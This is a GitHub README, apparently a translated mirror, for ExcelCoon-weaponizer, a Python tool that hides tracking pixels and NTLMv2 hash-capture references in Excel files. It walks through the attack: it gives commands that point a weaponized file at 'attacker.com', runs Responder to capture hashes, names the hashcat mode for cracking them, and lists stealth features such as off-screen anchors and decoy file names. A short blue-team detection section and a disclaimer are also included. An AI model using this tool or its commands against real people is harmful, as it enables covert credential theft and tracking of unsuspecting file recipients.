BenjiTrapp/ExcelCoon-weaponizer
GitHub: BenjiTrapp/ExcelCoon-weaponizer
一款无需宏即可向 Excel 文件注入隐藏追踪像素和 NTLMv2 哈希捕获载荷的纯 Python 安全测试工具。
Stars: 2 | Forks: 0

# ExcelCoon
**将不可见的追踪和 NTLM 哈希捕获 payload 注入到 Excel `.xlsx` 文件中。**
无需宏。无需提示。只是一个电子表格在做它该做的事。
[](https://www.python.org/downloads/)
[](LICENSE)
[](#)
## 演示

**你所看到的:**
1. ExcelCoon 将一个隐藏的 WebDAV 图片引用注入到 `.xlsx` 文件中
2. 攻击者启动一个 NTLM 捕获服务器
3. 受害者打开文件——Excel 发现了外部图片,Windows 会自动发送 NTLMv2 凭证
4. 哈希已捕获。准备好使用 `hashcat -m 5600`。
亲自运行演示
```
# 一条命令 —— 构建容器,运行 demo,输出 GIF
docker compose -f docker-compose.demo.yml up --build
# 或者以交互方式运行
docker compose -f docker-compose.demo.yml run --rm demo bash
```
该演示在单个容器内端到端运行:没有造假,没有模拟。
`.xlsx` 文件会被真实打开,解析 OOXML 结构,发现并跟随外部的 WebDAV
引用,并通过真实的 3 步 NTLM 握手捕获哈希。
## 目录
- [攻击流程](#attack-flow)
- [功能](#features)
- [安装](#installation)
- [快速开始](#quick-start)
- [用法](#usage)
- [注入模式](#injection-modes)
- [工作原理](#how-it-works)
- [项目结构](#project-structure)
- [运行测试](#running-tests)
- [检测与防御](#detection--defense)
- [法律免责声明](#legal-disclaimer)
## 攻击流程

## 功能
| 类别 | 功能 | 描述 |
|----------|---------|-------------|
| **模式** | HTTP 追踪 | 捕获 IP、User-Agent 和打开时间 |
| | SMB 哈希捕获 | 通过 UNC 路径捕获 NTLMv2 (局域网) |
| | WebDAV 哈希捕获 | 通过 HTTP/S 捕获 NTLMv2 (远程) |
| **隐蔽性** | 屏幕外放置 | 图片锚定在视野之外的随机坐标处 |
| | 合法资源名称 | 随机的文件名,如 `logo.png`、`analytics.js` |
| | 支持现有绘图 | 注入到现有绘图中而不会破坏文件 |
| | 避免 rId 冲突 | 安全处理具有现有关系的 worksheets |
| **工作流** | 批量模式 | 使用 glob 匹配模式处理多个文件 |
| | 检查模式 | 检测文件是否已被武器化 |
| | 交互式向导 | 为初学者提供逐步引导模式 |
| | JSON 输出 | 用于自动化的机器可读结果 |
| | 安静模式 | 用于脚本的静默操作(仅退出代码) |
| **设计** | 零依赖 | 纯 Python 标准库 |
| | 跨平台 | Windows、macOS、Linux |
| | 单文件 | 单个 `excelcoon.py`——可放置在任何地方 |
## 安装
```
git clone https://github.com/BenjiTrapp/ExcelCoon-weaponizer.git
cd ExcelCoon-weaponizer
```
无需依赖。适用于 Python 3.9+。
**可选** —— 安装为 CLI 工具:
```
pip install .
# 然后使用:excelcoon -i file.xlsx -m http -H host.com
```
## 快速开始
```
# 最简单的用法(自动生成输出文件名):
python excelcoon.py -i report.xlsx -m http -H myserver.com
# 输出:report_weaponized.xlsx
# 交互模式(引导式向导):
python excelcoon.py
```
## 用法
```
python excelcoon.py -i
-m
-H [options]
```
### 必需参数
| 参数 | 描述 |
|----------|-------------|
| `-i`, `--input` | 输入的 `.xlsx` 文件(支持批量模式下的 glob 匹配模式) |
| `-m`, `--mode` | 注入模式:`http`、`smb` 或 `webdav` |
| `-H`, `--host` | 接收回调的目标主机/IP |
### 可选参数
| 参数 | 描述 |
|----------|-------------|
| `-o`, `--output` | 输出文件路径(默认:`_weaponized.xlsx`) |
| `-p`, `--path` | 主机之后的自定义资源路径(默认:随机) |
| `--https` | 使用 HTTPS(HTTP 模式)或 SSL(WebDAV 模式) |
| `-v`, `--verbose` | 详细的进度输出 |
| `-q`, `--quiet` | 除错误外抑制所有输出 |
| `--json` | 以 JSON 格式输出结果 |
### 特殊模式
| 命令 | 描述 |
|---------|-------------|
| `python excelcoon.py` | 交互式向导(无参数) |
| `python excelcoon.py --check ` | 分析文件中的武器化指标 |
## 示例
### HTTP 追踪 Canary
```
python excelcoon.py -i quarterly_report.xlsx -m http -H myserver.com
```
### 带有自定义路径的 HTTPS
```
python excelcoon.py -i file.xlsx -m http -H myserver.com --https -p tracking/pixel.png
```
### SMB 哈希捕获 (局域网)
```
python excelcoon.py -i file.xlsx -m smb -H 192.168.1.100
# 在你的机器上:
sudo responder -I eth0 -v
```
### WebDAV 哈希捕获 (远程)
```
python excelcoon.py -i file.xlsx -m webdav -H attacker.com
# 使用 SSL:
python excelcoon.py -i file.xlsx -m webdav -H attacker.com --https
# Capture:
sudo responder -I eth0 -wv
```
### 批量处理
```
python excelcoon.py -i "reports/*.xlsx" -m http -H tracker.io
python excelcoon.py -i "C:\Docs\*.xlsx" -m smb -H 10.0.0.1
```
### 检查 / 扫描模式
```
python excelcoon.py --check document.xlsx
python excelcoon.py --check *.xlsx
```
```
[+] clean_file.xlsx: CLEAN - no external references found
[~] evil_file.xlsx: WEAPONIZED - 1 external reference(s) found
> [HTTP tracking] http://attacker.com/cdn/logo.png
```
### JSON 输出
```
python excelcoon.py -i file.xlsx -m http -H srv.io --json
```
```
{
"results": [
{
"input": "file.xlsx",
"output": "file_weaponized.xlsx",
"success": true,
"mode": "http",
"url": "http://srv.io/assets/logo.png"
}
],
"summary": { "total": 1, "succeeded": 1, "failed": 0 }
}
```
## 注入模式
| 模式 | URL 格式 | 捕获内容 | 检测风险 | 最适用于 |
|------|-----------|----------|----------------|----------|
| **HTTP** | `http(s)://host/path` | IP、User-Agent、时间戳 | 低 | Canary token、追踪打开行为 |
| **SMB** | `\\host\share\file` | NTLMv2 哈希、用户名、主机名 | 中 | 基于局域网的哈希捕获 |
| **WebDAV** | `\\host@80\path` | NTLMv2 哈希、用户名、主机名 | 低-中 | 通过互联网的远程哈希捕获 |
## 工作原理
1. **提取** —— 将 XLSX(一个由 XML 文件组成的 ZIP)提取到临时目录
2. **注入** —— 添加一个隐藏的 1x1 像素图片元素,引用您的外部 URL
3. **重新打包** —— 将修改后的 XML 重新打包为有效的 XLSX
### 被修改的 OOXML 文件
| 文件 | 改动 |
|------|--------|
| `[Content_Types].xml` | 注册新的绘图部分 |
| `xl/worksheets/sheet1.xml` | 添加 `` 引用 |
| `xl/worksheets/_rels/sheet1.xml.rels` | 将 worksheet 链接到绘图文件 |
| `xl/drawings/drawingN.xml` | 包含隐藏的图片锚点 |
| `xl/drawings/_rels/drawingN.xml.rels` | 指向外部 URL(`TargetMode="External"`) |
## 项目结构
```
ExcelCoon-weaponizer/
├── excelcoon.py # CLI tool (single file, zero dependencies)
├── pyproject.toml # Packaging metadata & entry point
├── Dockerfile.demo # Self-contained demo container
├── docker-compose.demo.yml # One-command demo runner
├── samples/
│ └── sample.xlsx # Multi-sheet test file
├── scripts/
│ ├── ntlm_capture_server.py # Lightweight NTLM hash capture HTTP server
│ ├── victim_simulator.py # Realistic Excel open simulation (OOXML + NTLM)
│ ├── demo-ntlm-capture.sh # End-to-end attack chain demo
│ └── record-demo.sh # asciinema recording + GIF conversion
├── output/
│ ├── demo.gif # Recorded demo GIF
│ └── demo.cast # asciinema recording
└── tests/
└── test_excelcoon.py # Test suite (core, validation, CLI, edge cases)
```
## 运行测试
```
python tests/test_excelcoon.py
# 或者作为 module:
python -m tests.test_excelcoon
```
测试覆盖率包括每种模式的武器化、现有绘图、rId 冲突、XML 转义、主机/文件验证、CLI 输出格式、批量/检查模式以及边缘情况(损坏的文件、未知模式、坐标范围)。
## 检测与防御
如果您属于蓝队,请寻找:
- 绘图关系文件(`TargetMode="External"`)中的外部图片引用
- 打开 Excel 文件时意外的出站网络连接
- 位于异常坐标处的绘图锚点(列 >100,行 >500)
- OOXML 关系文件中的 UNC 路径或 WebDAV 引用
使用内置扫描器审计可疑文件:
```
python excelcoon.py --check suspicious_file.xlsx
```
## 法律免责声明
此工具仅用于**授权的安全测试和研究**。
未经授权对您不拥有或没有明确测试权限的系统使用此工具是非法的。
作者对滥用不承担任何责任。
## 要求
- Python 3.9+
- 无外部依赖(仅标准库)
- 适用于 Windows、macOS、Linux
- Docker(可选,用于演示)标签:ESC8, Python, StruQ, 凭据窃取, 无后门, 社会工程学, 请求拦截, 逆向工具